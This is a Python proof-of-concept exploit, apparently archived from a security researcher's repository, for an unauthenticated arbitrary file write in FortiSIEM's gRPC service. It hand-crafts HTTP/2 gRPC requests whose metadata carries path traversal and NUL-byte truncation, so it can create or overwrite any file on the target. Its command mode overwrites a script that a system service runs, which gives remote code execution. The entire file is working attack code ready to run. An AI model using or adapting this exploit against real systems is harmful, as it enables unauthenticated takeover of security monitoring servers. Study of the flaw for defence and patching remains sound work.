#!/usr/bin/python3
# Archived for authorized security research only.
# Source: https://github.com/horizon3ai/CVE-2026-106173 (see README for attribution/license)

import argparse
import pathlib
import secrets
import socket
import ssl
import struct
import sys
import time


RPC_PATH = b'/phoenix.phoenixSvc/SendQueryResult'
DEFAULT_PORT = 27918
RCE_PATH = pathlib.PurePosixPath('/opt/charting/redishb.sh')
PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'


def hpack_int(value: int, prefix: int, first: int = 0) -> bytes:
    limit = (1 << prefix) - 1
    if value < limit:
        return bytes([first | value])

    encoded = bytearray([first | limit])
    value -= limit
    while value >= 128:
        encoded.append((value & 0x7f) | 0x80)
        value >>= 7
    encoded.append(value)
    return bytes(encoded)


def hpack_string(value: bytes) -> bytes:
    return hpack_int(len(value), 7) + value


def hpack_header(name: bytes, value: bytes, index: int = 0) -> bytes:
    encoded = bytearray(hpack_int(index, 4))
    if index == 0:
        encoded += hpack_string(name)
    encoded += hpack_string(value)
    return bytes(encoded)


def h2_frame(frame_type: int, flags: int, stream_id: int, payload: bytes = b'') -> bytes:
    return (
        len(payload).to_bytes(3, 'big')
        + bytes([frame_type, flags])
        + struct.pack('!I', stream_id & 0x7fffffff)
        + payload
    )


def protobuf_varint(value: int) -> bytes:
    encoded = bytearray()
    while value > 0x7f:
        encoded.append((value & 0x7f) | 0x80)
        value >>= 7
    encoded.append(value)
    return bytes(encoded)


def grpc_message(content: bytes) -> bytes:
    message = b'\x0a' + protobuf_varint(len(content)) + content
    return b'\x00' + len(message).to_bytes(4, 'big') + message


def fortisiem_path(metadata: list[tuple[bytes, bytes]]) -> bytes:
    values = dict(metadata)
    return (
        b'/query/result/' + values[b'query-id']
        + b'/result-' + values[b'src-ip']
        + b'-' + values[b'period-start']
        + b'-' + values[b'period-end']
        + b'-<server-call-id>.dat'
    )


def build_headers(target: str, port: int, metadata: list[tuple[bytes, bytes]], tls: bool) -> bytes:
    authority = f'{target}:{port}'.encode()
    headers = bytearray()
    headers += b'\x83'                         # :method POST
    headers += b'\x87' if tls else b'\x86'   # :scheme https/http
    headers += hpack_header(b':path', RPC_PATH, 4)
    headers += hpack_header(b':authority', authority, 1)
    headers += hpack_header(b'content-type', b'application/grpc', 31)
    headers += hpack_header(b'te', b'trailers')

    for name, value in metadata:
        headers += hpack_header(name, value)

    return bytes(headers)


def build_request(target: str, port: int, metadata: list[tuple[bytes, bytes]], content: bytes,
                  tls: bool) -> bytes:
    headers = build_headers(target, port, metadata, tls)
    return (
        PREFACE
        + h2_frame(4, 0, 0)                         # SETTINGS
        + h2_frame(1, 0x04, 1, headers)            # HEADERS | END_HEADERS
        + h2_frame(0, 0x01, 1, grpc_message(content))  # DATA | END_STREAM
    )


def print_request(target: str, port: int, md: list[tuple[bytes, bytes]], content: bytes,
                  plaintext: bool, request_length: int, kernel_path: pathlib.PurePosixPath | None):
    scheme = 'http' if plaintext else 'https'
    encoded_headers = build_headers(target, port, md, not plaintext)
    encoded_message = grpc_message(content)
    protobuf_length = len(encoded_message) - 5
    path_expression = fortisiem_path(md)
    path_nul = path_expression.find(b'\x00')

    print(f'[*] RPC: {scheme}://{target}:{port}{RPC_PATH.decode()}')
    print(f'[*] Transport: HTTP/2 {"prior knowledge" if plaintext else "over TLS (ALPN h2)"}')
    print('[*] HTTP/2 client preface: 24 bytes')
    print('[*] HTTP/2 frames:')
    print('    SETTINGS stream=0 flags=0x00 payload=0 bytes')
    print(f'    HEADERS  stream=1 flags=0x04 END_HEADERS payload={len(encoded_headers)} bytes')
    print(f'    DATA     stream=1 flags=0x01 END_STREAM payload={len(encoded_message)} bytes')
    print('[*] HPACK: literal headers without indexing, non-Huffman values')
    print('[*] gRPC envelope: compression=0, '
          f'message-length={protobuf_length} bytes, one request message')
    print('[*] Protobuf: QueryResultReq field 1 (file_content), wire type 2, '
          f'{len(content)} byte{plural(len(content))}')
    print('[*] Metadata:')

    for name, value in md:
        print(f'    {name.decode()}: {value!r}')
        nul_offset = value.find(b'\x00')
        if nul_offset != -1:
            prefix = value[:nul_offset]
            print(f'    -> embedded NUL at offset {nul_offset} (0x00)')
            print(f'    -> C-string prefix: {prefix!r}')

    print(f'[*] FortiSIEM path expression: {path_expression!r}')
    if path_nul != -1:
        print(f'[*] Path NUL offset: {path_nul}; filesystem C string: '
              f'{path_expression[:path_nul]!r}')
        print('[*] NUL behavior: HTTP/2, HPACK, gRPC, and std::string preserve the suffix; '
              'the filesystem call stops at 0x00')
    if kernel_path is not None:
        print(f'[*] Normalized write target: {kernel_path}')
    print(f'[*] Encoded HTTP/2 request length: {request_length} bytes')


def plural(value: int) -> str:
    return '' if value == 1 else 's'


def metadata(query_id: bytes, src_ip: bytes = b'127.0.0.1',
             period_start: bytes = b'0', period_end: bytes = b'0') -> list[tuple[bytes, bytes]]:
    return [
        (b'header-ver', b'v1'),
        (b'src-ip', src_ip),
        (b'query-id', query_id),
        (b'period-start', period_start),
        (b'period-end', period_end),
    ]


def traversal(path: pathlib.PurePosixPath) -> bytes:
    if not path.is_absolute():
        raise ValueError('The remote path must be absolute')
    if '\x00' in str(path):
        raise ValueError('The remote path cannot contain a NUL')
    return b'../' * 12 + str(path).lstrip('/').encode()


def connect(target: str, port: int, timeout: float, plaintext: bool) -> socket.socket:
    sock = socket.create_connection((target, port), timeout)
    if plaintext:
        return sock

    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    context.set_alpn_protocols(['h2'])
    wrapped = context.wrap_socket(sock, server_hostname=target)
    if wrapped.selected_alpn_protocol() != 'h2':
        wrapped.close()
        raise RuntimeError('The target did not negotiate HTTP/2')
    return wrapped


def send_file(target: str, port: int, md: list[tuple[bytes, bytes]], content: bytes,
              timeout: float, delay: float, plaintext: bool, dry_run: bool,
              kernel_path: pathlib.PurePosixPath | None = None):
    request = build_request(target, port, md, content, not plaintext)
    print_request(target, port, md, content, plaintext, len(request), kernel_path)

    if dry_run:
        return

    with connect(target, port, timeout, plaintext) as sock:
        sock.sendall(request)
        time.sleep(delay)

    print('[+] Sent!')


def overwrite_file(args, remote_path: pathlib.PurePosixPath, content: bytes):
    print(f'[*] Overwriting existing file: {remote_path}')
    query_id = traversal(remote_path) + b'\x00ignored'
    send_file(args.target, args.port, metadata(query_id), content,
              args.timeout, args.delay, args.plaintext, args.dry_run,
              kernel_path=remote_path)


def create_file(args, remote_path: pathlib.PurePosixPath, content: bytes):
    parent = remote_path.parent
    nonce = secrets.token_hex(4).encode()
    stage_name = b'result-stage-' + nonce + b'-dir'
    stage_path = parent / stage_name.decode()

    print(f'[*] Creating staging directory: {stage_path}')
    send_file(args.target, args.port, metadata(traversal(stage_path)), b'stage\n',
              args.timeout, args.delay, args.plaintext, args.dry_run)

    print(f'[*] Creating file: {remote_path}')
    md = metadata(
        traversal(parent),
        src_ip=b'stage',
        period_start=nonce,
        period_end=b'dir/../' + remote_path.name.encode() + b'\x00ignored',
    )
    send_file(args.target, args.port, md, content,
              args.timeout, args.delay, args.plaintext, args.dry_run,
              kernel_path=remote_path)


def parse_args():
    parser = argparse.ArgumentParser(
        description='CVE-2026-106173 FortiSIEM unauthenticated arbitrary file write',
        epilog=(
            "Examples:\n"
            "  %(prog)s -t 10.0.40.44 -c 'id > /tmp/fortisiem-rce'\n"
            "  %(prog)s -t 10.0.40.44 -f payload.bin --overwrite /tmp/existing-file\n"
            "  %(prog)s -t 10.0.40.44 -f payload.bin --create /tmp/new-file"
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-p', '--port', help='The FortiSIEM gRPC port', type=int,
                        default=DEFAULT_PORT)

    payload = parser.add_mutually_exclusive_group(required=True)
    payload.add_argument(
        '-c', '--command',
        help='The command to execute through the FortiSIEM service-script trigger',
    )
    payload.add_argument('-f', '--file', type=pathlib.Path, help='The local file to write')

    destination = parser.add_mutually_exclusive_group()
    destination.add_argument('--overwrite', type=pathlib.PurePosixPath,
                             help='Overwrite an existing remote file')
    destination.add_argument('--create', type=pathlib.PurePosixPath,
                             help='Create a new remote file')

    parser.add_argument('--plaintext', action='store_true', help='Use plaintext HTTP/2')
    parser.add_argument('--timeout', type=float, default=5, help='Socket timeout, default=5')
    parser.add_argument('--delay', type=float, default=1,
                        help='Seconds to wait after each request, default=1')
    parser.add_argument('--dry-run', action='store_true', help='Build but do not send requests')
    return parser.parse_args()


def main():
    args = parse_args()

    if args.timeout <= 0 or args.delay < 0:
        sys.exit('[-] --timeout must be positive and --delay cannot be negative')

    if args.command:
        if args.overwrite or args.create:
            sys.exit('[-] --command always targets /opt/charting/redishb.sh')
        content = f'#!/bin/bash\n{args.command}\n'.encode()
        print(f'[*] Sending:\n{content.decode()}')
        overwrite_file(args, RCE_PATH, content)
        if args.dry_run:
            print('[+] Dry run complete!')
        else:
            print('[+] Payload written! Wait approximately one minute for '
                  'phxctl.service to invoke it (as admin on FortiSIEM 7.5).')
        return

    if not args.overwrite and not args.create:
        sys.exit('[-] --file requires either --overwrite or --create')

    try:
        content = args.file.read_bytes()
    except OSError as error:
        sys.exit(f'[-] Could not read {args.file}: {error}')

    if args.overwrite:
        overwrite_file(args, args.overwrite, content)
    else:
        create_file(args, args.create, content)

    print('[+] Dry run complete!' if args.dry_run else '[+] Payload written!')


if __name__ == '__main__':
    try:
        main()
    except (OSError, RuntimeError, ValueError) as error:
        sys.exit(f'[-] {error}')
